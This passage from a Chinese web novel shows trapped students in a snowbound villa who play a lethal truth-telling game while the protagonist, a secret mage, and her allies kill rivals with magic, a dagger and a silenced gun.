可这个人选交给谁都不会满意,这无异于将可能杀死自己的工具交到他人手中,谁都不能信任他人。
江挽月下楼时,他们依旧在为这个话题而争吵。
陆樾之某种意义上是矛盾的引发者,此刻却置身事外,一副漠不关己的态度。他坐在角落的吧台处浅酌,和第一日一样,只是身边少了一位同伴。
江挽月突然想起来,他和会长那天走得很近,但会长死亡的噩耗似乎也并未太大影响他的情绪。
她穿过嘈杂的人声,行至陆樾之身前,有些意兴索然地开口:“那箱子是你准备的吗?”
陆樾之放下酒杯,眼神幽邃地回望,不知在想什么:“
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不是。”
江挽月点点头,不再追问,看戏似的笑着观察客厅里的同学:“你觉得他们会讨论出什么结果。”
“没有结果。”陆樾之离开座位,语气里满是肯定,“每个人都想将性命掌握在自己手里,分歧由此而生。”
他离开吧台,江挽月嘴角勾起一抹难以察觉的弧度,似笑非笑地望着他,替他补完未说出口的话:“真正的派对要开场了。”
空气中的火药味越来越浓,沙发另一边,余学长拍案而起,叉着腰、红着脸摆手拒绝道:“我不同意让言学姐保管。”
与他争吵的依然是薛同学:“哼,除了言学姐,在座还有第二位能赶上她公信力的人吗?”
“余部长跳出来捣乱,不如先把外联部的资金窟窿补上,再来让我们信服你。”
两人早已结怨,明面上的针锋相对,余学长怒目而视,紧紧握着拳头,仿佛下一秒就要冲出去揍人。
霍学姐端着养生粥从餐厅出来,正巧撞上这一幕,连碗都来不及放下,厉声喝道:“阿余!别吵了。”
余学长气上心头,口不择言道:“你为什么老是站在她那边,我们才是同伴啊!”
“你闭嘴!”霍学姐音量拔高,压过他的胡言乱语。
见男生情绪稍有缓和,她又放缓语气:“言学姐已经醒了,先弄清楚昨晚的事吧,至于这个箱子,也该和她讨论完再做决定。”
剑拔弩张的气氛渐渐平静,一行人各怀心思,鱼贯而入地进入言学姐的卧室,大床旁顿时围了一圈人。
言语不知道楼下刚刚大吵一架,见她们一个个阴沉着脸,尴尬地笑着询问:“发生什么事了?”
霍学姐将粥碗搁到矮柜上,微微俯身替她掖好被子:“一点小事,等下和你说。”
余学长还存着怒气,语气不善地开口:“言学姐受这么大的伤,是遇上杀人凶手了吗?”
江挽月闻言掀起撩起眼皮,她站在人群外,一脸淡漠地正对上言学姐投过来的视线。
言喻的窥视被抓包,她慌忙垂下头,按早已组织好的答案回答:“楼梯口太黑,是我自己不小心踩空。”
江挽月抱着双臂,指尖轻敲着胳膊,一副淡然自若的模样,她对言学姐的回答尚且满意。
众人沉默,不知该如何接话。玻璃窗旁传来一道男声,谢旻抬起窗帘一角,夹在指间摩挲。
他并未面对众人,自顾自地低着头,颇有深意地缓缓开口:“言学姐那么晚不睡觉,是准备去干什么?”
话音刚落,同学们的目光变得警惕起来,直盯着言学姐的脸,等待她的回答。
江挽月面色不虞,谢旻时而瞥向她的视线极为明显,明摆着要将火烧到她身上。
她正想着如何绕过这个话题,言学姐先一步回道:“我收到一张纸条,上面写着让我这个时间,单独前往地下室。”
说完,她从枕下摸出一张字条,递给离得最近的霍学姐。
纸条在人群里逐一传阅,江挽月细细观察着她们的反应,所有人接到纸条的瞬间都蔫了脸色,包括谢旻在内。
余学长握着纸条的手都在颤抖,惊恐地大喊:“这……这是会长的字迹!”
16. 优等生派对(五)
江挽月和陆樾之相视一眼,两人眼中都透着讶然的神色。那纸条上的字迹遒劲有力,末尾处留有一个小小的墨点,见过会长写字的人都知道他的习惯。
“谁给你这张纸条的?”谢旻语气里满是怀疑,他紧盯着言学姐的脸,试图找出她说谎的破绽。会长明明已经死亡,不可能写下这张字条,莫非是有人仿造,故意转移视线。
言喻只是淡淡地摇头,一脸无辜道:“不清楚,我半夜惊醒,手中就捏着这张字条,没见过人影。”
江挽月站在人群外,垂眸望着地面,浓密的睫毛遮住眼底的情绪,乍一看像是在走神。
言学姐的话似真似假,事情的发展走向变得扑朔迷离,众人本就悬着的心脏又被这突如其来的线索狠狠捏了一把。
谢旻不死心,还想追问什么,被江挽月无情地打断:“陆学长在地下室找到个密码箱,里面有几件致命的危险物品,刚刚他们讨论了很久都没得出结果,言学姐打算怎么处理。”
众人的目光都聚集在余学长手中的箱子上,他不情不愿地打开箱盖,移到床边。
相比之前众人的反应,言学姐平淡许多,并不意外用来举办派对的山庄别墅里,会出现这些。
她扫了一眼便移开视线:“随便你们处理吧,就算我给出一个方案,也总有人会不同意。”
江挽月唇角微微上扬,饶有兴味地揣摩她的用意,所有人都在默许事情往最坏的方向发展。
密码箱最终还是没有上锁,它又被放回地下室,如同潘多拉魔盒一般诱惑人将它独占。但这场逃生派对才刚开始,优等生引以为傲的人性与理智尚且能控制住杀戮的欲望。
霍学姐以休养为由,将一众人赶出了房间,言喻望着江挽月离去的背影才终于放下心来,看她出门前的表情,应该对这个结果还算满意。
二楼单人间内,江挽月撕扯下贴在脖颈处的肉色软皮,殷红血液暴露在空气中。
肉身受反噬影响,自愈能力大不如前,浅浅的一道刀伤大半天都未能愈合。
她冷冷地用湿巾擦拭干净,施法将这些沾血的证据销毁干净,以免生出祸端。
处理完一切,江挽月又将那张软皮贴回原位,11区的魔药系统还未解锁,尽管她会自己配置,也苦于没有材料,只能靠自己硬扛。
密码箱内倒是有止血药,但地下室门口时时有人看守,她不能暴露自己受伤的事实,只能等到夜晚寻机会取药。
“咚咚咚——”
房门第一次被人敲响,江挽月透过猫眼看清门外的身影,才缓缓打开门。
她一脸警惕地望着谢旻,语气不善:“你来干什么?”
谢旻身上还穿着那套制服,一副学生模样的打扮,眼中的阴狠神色与他的外形极不相符。
江挽月将大衣拢紧,整个脖子都被衣领盖住,不留缝隙。
别墅里暖气开得很高,谢旻注意到她反常的动作,满是质问的语调:“你很冷?”
江挽月不理他的问话,作势要关上门,谢旻反应极快地抬手抵住。
他语气笃定:“言学姐在说谎。”
江挽月动作一顿,随即松开手,身体向后退了一步,示意他进屋。
谢旻本该昨夜就死在她的月刃之下,可言学姐突然冒出,打乱了她的计划。
江挽月装作毫不知情的样子,新的暗杀计划在心中悄然而生:“你有证据吗?”
“我又不傻,平白无故地把证据分享给你。”谢旻坏笑着眨眨眼,他在故意激怒她,“你看起来也不是品质高尚的人。”
江挽月目光犀利地剜了他一眼:“那你看人挺准。”
谢旻压低声音,眼里满是算计:“你知道这个派对不只有优等生吧?”
江挽月继续装傻,她习惯一切掌握在自己手中,从不与人分享。
“我可以向你坦白我的身份。”谢旻摊开双手,故作坦荡,“我是劣迹生。”
江挽月微微蹙眉,谢旻若与她是同一种身份,那杀死他也可能会让自己陷入不利的局面。
她静默不语,上下打量着眼前的男生。
谢旻以为她不相信自己的话,只好又说出一条线索:“我知道谁是优等生,你留我一命,去杀他。”
“谁?”
“陆学长。”
室内气压骤然降低,江挽月心脏一颤,对他答出的人选很是震惊,她本以为谢旻的答案会是言学姐。陆樾之的身份早在第一晚她便亲自检查过,那张卡上也的确写着“劣迹生”三字。
陆樾之和谢旻两个人里,肯定有一个人在说谎。
江挽月最讨厌被欺骗,汹涌的杀意在脑海里翻滚。察觉到自己快要失态,她沉下脸,声音带着寒意:“出去。”
谢旻不知哪句话触及她的雷区,正想弥补却被她的眼神冷到,欲言又止,最后生着闷气狼狈离开。
江挽月抽出自己的那张身份卡,紧紧握在手心,力道大到塑料卡片都裂成两半。
这两个人,最好一个不留……
太阳落山,夜间又迎来了第二场大雪。
晚餐时刻,江挽月依然在房间里闭门不出。
厨房里的食物有限,每一餐都被平均分配好。言喻状态好转,在餐厅没发现江挽月的人影,便主动端着属于她的餐食,叩响二楼的单人房。
屋内没人应声,她迟疑几秒,还是鼓起勇气推门而入。
屋内昏暗无光,言喻空出一只手,摸索着开关。
突然“啪嗒”一声,屋里亮起一簇火苗。江挽月坐在矮脚沙发上,手里把玩着小刀状的打火机,幽蓝色的火光映照在面庞。
言喻收回手,将餐盘搁置一旁,缓缓坐在另一边空闲的沙发上。
黑暗的环境愈发凸显出言学姐异常明亮的眼睛,江挽月默默注视着她的举动,思绪万千。
“你为什么总是害怕看我?”江挽月托着下巴,这个问题她初见时就想提问,一直拖到现在才开口。
“我想活下去。”言学姐目光炯炯地回望,一脸真切,“如果说,我会死在你手里,你会信吗?”
江挽月没回答,眼神放空盯着地面,拇指仍旧机械地重复之前的动作。
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良久,她蓦然开口,说出的话耐人寻味:“你替我做事,我不会杀你。”
言喻深吸一口气,稳下心神:“你想让我做什么?”
戏台都已经搭好,没人演戏可不行。江挽月嘴角弯起一抹讥笑,站起身绕到言学姐身后:“我要你,去除掉谢旻。”
至于陆樾之,她另有安排。
“叮铃铃——”
几日没有动静的电话铃突然响起,江挽月起身拿起听筒凑近耳边,前半部分的合成音和第一天夜晚如出一辙,直到最后一句话,那道粗哑难听的声音再次出现。
“派对第三天,你们竟然没有进行任何娱乐活动,现在开始强制执行我为你们精心挑选的游戏——真心话大逃杀。”
老旧电话漏音严重,紧挨着江挽月的言喻也听到了那道声音,她皱着眉头,凭直觉猜测:“邀请方怎么知道我们的动向,他在监视我们吗?”
通话结束,江挽月将听筒放回原处,突然想到一个盲点,连忙问道:“你之前有接到过电话吗?”
言喻摇摇头,表示不知情。
江挽月薄唇紧抿,猜不透幕后主使的用意。她对言学姐使了个眼神,两人一齐下楼。
密码箱里的匕首不知被谁拿出来,明目张胆地摆在低矮圆桌上,十一个学生席地而坐,围成一圈。
江挽月不巧正对着陆樾之,一抬头就能看见那张冰山脸,想忽视都难。
她掌心撑在地毯上,上半身微微后仰,一副厌倦嫌恶的模样。
死寂萦绕在众人上空,很显然,这次所有人都接到了那通电话。
霍学姐一头粉发高高挽起,极不友善地瞪了江挽月一眼,似在不满她与言学姐走得近。
江挽月自然瞥见她表情,回以冷若冰霜的眼神,从第一天起,这位霍学姐就对自己报以敌意。
余学长不耐烦地催促:“快点行不行,早点完成邀请方的要求,好让他放我们出去。”
江挽月轻蔑一笑,想活着出去恐怕没那么简单。会长死于魔法,装着杀器的密码箱,邀请方时刻监视……种种迹象都酝酿着一个危险的阴谋。
余学长不顾众人意愿,率先握上刀柄,轻轻发力那把匕首便以不正常的速度旋转起来,只能看见残影。
十秒过后,匕首速度减缓,停止在原地,刀尖指向言学姐。
余学长犀利发问,满是刁难的语气:“你有没有想过杀死会长取而代之?”
言学姐表情漠然:“有。”
余学长耍赖似的曲解她的回答:“我就说是你杀死了会长。”
一旁与她不对付的薛同学看不过去,重新旋转刀柄:“你如此维护会长,是不是因为他帮你隐瞒外联部敛财的违规事实。”
“你胡说……”余学长还未说完,脸色煞白地吐出一摊血,牙齿硬生生被拔下一颗。
他说谎了。
邀请方再次发来警告,不远处的电视屏幕突然亮起,显示出一段文字。
“竟然敢在真心话里说谎,从现在开始,每个人只能提问我想知道的问题。”
17. 优等生派对(六)
同学们面露惊慌,看到余学长龇牙咧嘴的狼狈模样,不由得倒吸一口凉气。
游戏继续进行,江挽月扫了一圈,大胆地转动匕首。刀尖旋转几周,最后指向她自己,江挽月被这个结果气笑了,拉高音量:“能重转吗?”
屏幕上的文字换了一段,邀请方显然拒绝了她的请求。
“会长死的那晚你在哪?”
江挽月抬眼,目光瞥向陆樾之,笑着说:“在三楼单人房。”
众人纷纷侧目,来回打量着两人,陆学长和江学妹第一日时就小有摩擦,看起来似乎关系不和。
谢旻冷哼一声,又转动匕首,若不是姓余的那个废物,他早就逼问出江挽月的身份。
好在命运再一次眷顾他,这次指到的人是陆樾之。
“第一日夜晚,你去见了谁?”
谢旻眸色加深,一脸不满地望着屏幕。
江挽月视线落在陆樾之身上,有些期待他的真心话,这个问题她曾问过一次,但答案真假未知。
“我去见谢部长。”
谢旻扶额,无奈地摇摇头,以江挽月的敏锐城府,现在就能把他们两个归为蛇鼠一窝。
“最后一个问题,谁想转?”
“我来吧。”居于正中心的言喻直起上身,她的直觉一向很准,果不其然,这次被选中的人是霍心。
霍学姐瞬间紧张起来,撩人的眼睛里多出几分慌乱的神色。
“你背叛了谁?”
霍学姐脸色煞白,毫无血色仿佛心中阴暗的想法被人尽数剖开,她试图为自己辩解却又想到余部长的下场,只能如实坦白:“言学姐,我背叛了言学姐。”
言喻处于话题中心,反而表现得淡定。
江挽月望向她,若有所思。难怪自己觉得言学姐和霍学姐的相处方式奇怪,看来两人属于是闹掰的旧友。
游戏结束,那些逃过一劫的学生勉强放松下来,可还没轻松几秒,新的困境接踵而至。
餐厅里的食材莫名少了大半,剩下的储备资源抵不上他们一天的消耗。刚经历一场心理战,每个人都心力交瘁,饥肠辘辘。
今日负责分配晚餐的是药学系的杜同学,她身材瘦小,眼下青黑,厚重的刘海遮挡住上半张脸,平日里大部分时间都闭门不出,每次集会也是无精打采的样子。
江挽月对她的印象也只有初见时的匆匆一眼,唯一与她走得近的是薛同学,两人同一年级、同一学院,因此熟络很多。
杜同学缓慢地切开硬面包,每个瓷盘里放上一片,幽幽开口:“明天就没晚餐可吃了。”
江挽月手上正拿着抹刀帮她涂果酱,听见这番话,挑了挑眉,没有回应。
杜同学病恹恹地继续说:“你不觉得人太多了吗?”
“那你打算怎么解决?”江挽月抹完面包,很是满意地检查一遍,漫不经心地搭话。
杜同学呼吸一滞,咬紧下唇。
江挽月看她欲言又止,好心地询问:“你有推荐的人选?”
杜同学视线投向长桌中间的那个座位,乌黑发紫的嘴唇缓缓开启:“他。”
余学长和薛同学不和有目共睹,江挽月倒也不意外杜同学会选择先对余学长下手。
餐盘端上长桌,席位上的学生纷纷长叹一口气,这些日子的食物每天都在减少。
气氛降至冰点,无形的压力落在每个人肩头。
夜色已深,江挽月再一次清理干净未止血的刀口,一不小心,指尖沾染上血色。
这样一直流血等着自愈绝非妙计,她晕开血迹,从随身背包里抽出一张空白魔法牌,以血绘阵。
杀戮,从今夜开始。
江挽月偷溜进上锁的地下室,一进去熟悉的灰尘味道扑面而来,她放轻步伐,往更暗处走去。
多日过去,会长的尸体依旧维持原样,静默地躺在地面,没有任何腐败的痕迹。
江挽月凑近一些,微微侧着头。地上的魔法阵图案有几处残缺,不难看出是人为破坏的痕迹。
这段时间单独进过地下室的唯有一人——陆樾之。
江挽月正欲蹲下身仔细察看,门口却传来窸窣作响的声音,她身影一闪,躲在杂物后。
瘦长的人影循着微弱的光线,小心翼翼地踩着台阶往下走,将声音降到最低。
江挽月透过缝隙,默默注视着一切,随着人影越走越近,她辨认出那人的身份。
她原本还在思考先解决谁,余学长便贴心地主动送上门来。
江挽月后退几步,彻底消失在黑暗里。
余学长摁开密码箱,眼里闪烁着贪婪的光,他拿起匕首紧握在手中,细细端详。
忽然,刀锋上映出一道白影,余学长心脏猛地一坠,警惕地转身回头。
他低声喝道:“谁?出来!”
江挽月眉心紧锁,一副不解的神色,她藏得极为隐蔽,余学长根本不可能发现。
脚步声越来越近,她只好停下思绪,施法移到他身后,先行出手。
余学长反应极快,挥舞着匕首朝她刺来,江挽月扼住他的手腕,稍一用力便将他止住。
余学长疼痛难忍,手指以诡异的姿态弯曲,掌心的匕首趁机滑落。
江挽月抬脚轻轻向上一踢,将匕首牢牢抓进自己手中。她握着刀柄,高高举起,胳膊紧紧锁住男生的咽喉,将所有痛呼都湮灭。
事已至此,余学长不得不暴露身份,手中的魔法牌发出刺目的亮光,四周如同被一张黑色的巨幕笼罩。
法阵浮现在半空逐渐上升,缩小成一点,成为黑暗环境下唯一的光源。江挽月捂住眼睛,强忍下刺痛,她被拖进余学长设下的魔法空间,身侧不断浮现虚影。
那些影子张牙舞爪地朝她扑来,江挽月徒手挡下一击,体内的魔法力量被余学长尽数压制。她没料想到余学长也是魔法师,实力还不容小觑。
在他的魔法空间里,江挽月处于极大的劣势,纵有万千本领也不能全然使出。
空间之外,余学长得到喘息,体力稍稍恢复过来。他冷眼欣赏着虚影里的画面,嘴角扬起得意的笑,加大法阵的威力。
影子又增加了一倍,江挽月额间渗出冷汗,她双拳难敌四手,一番打斗下来,呼吸急促许多。
影子如同丧尸般伸着手,将她团团围
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住。江挽月眸中嗜血的杀意汹涌而来,牙尖狠狠咬伤食指,血珠从指尖渗出。
她唇上沾染着血色,嘴角上扬,勾起一抹妖冶又诡异的冷笑,如同暗夜女巫般摄人心魄。
余学长察觉不妙,不断地往法阵里输送魔力,可惜还是难以抵御她的反击。
江挽月翻转指尖,血液滴落在地的瞬间,火焰四起,形似一朵盛开的彼岸花。影子无所遁形,空间内的温度不断攀升。
余学长就要坚持不住,身体仿佛被烈焰灼烧,他用尽力气望向江挽月,那人却神色淡然,如望着一只蝼蚁般。
两人魔法能力的鸿沟难以跨越,江挽月只是轻轻向前迈出一步,他的魔法空间便彻底崩塌。
余学长拭去唇角的鲜血,摇摇晃晃地站起身,握着匕首冲过来。江挽月伏地躲过,长腿一扫将虚弱不堪的男生绊倒在地。
她背着光,黑影投在余学长身前,脚下步履缓慢,周身散发着肃杀寒意。刚才还想与她殊死一搏的男生被她宛若死神一般的气质吓坏了胆,小腿蹬着往后退。
江挽月不紧不慢地靠近,直到余学长的后背抵上墙壁退无可退,她才停下来,抬脚踩上他的腹部,用力碾压。
余学长刚一张口,呻吟还未至嘴边,便被她一拳打歪脑袋,又生生咽回肚里。
那把匕首躺在不远处,江挽月眼神紧紧锁着他,以免他耍诈。她一手扼住他的脖颈,一手向后摸索那把刀的位置。
指尖碰触到的不是冰冷的刀刃,而是一股微凉的皮肤触感。江挽月瞬间反应过来,回头望去,正对上一双淡灰的瞳孔。
陆樾之左手背在身后,戴着手套的右手握着匕首,一言不发。
“给我。”江挽月冷冷命令,语气不带一丝温度。
陆樾之没有抵抗,将匕首抛给她,却在江挽月接住的一瞬间,举起早已上膛的手枪,扣下扳机。枪支被他施加过魔法,发不出任何响声。
余学长死亡。
江挽月望着他眉心处的血窟窿,不悦地瞪向陆樾之,她不喜欢有人干扰她的计划,尽管结果一致。
陆樾之重新戴好左手手套,枪支被他放回密码箱内,重新关好。
“你和谢旻结盟了?”虽然是问句,但江挽月语气里满是肯定。
“你有答案,没必要再问我。”陆樾之薄唇轻启,眼神透着拒人于千里之外的冰冷。
同一屋檐下莫名死亡一位同学,怎么都不可能瞒过去,余学长的尸体留在原地,血液溢了一地,无人清理。
江挽月回到卧室,脱下外衣浸入水中,将微弱的气息清除干净,她盯着面前的镜子,背后多出一道人影。
单人间里不只有她一人,江挽月并不害怕,那身形她再熟悉不过。
言喻从暗处走出,手中握着沾血的月刃,她一动手,短刀便掉入水池里。
江挽月满意地勾起唇角,抬手擦去她侧脸处凝固已久的血迹。
“谢旻已经死亡。”言喻握住江挽月的手腕拉开,自己擦拭干净那些污迹,“现在可以信任我了吗?”
江挽月眉眼一弯,拍拍她的脸,笑得明艳动人。
“当然。”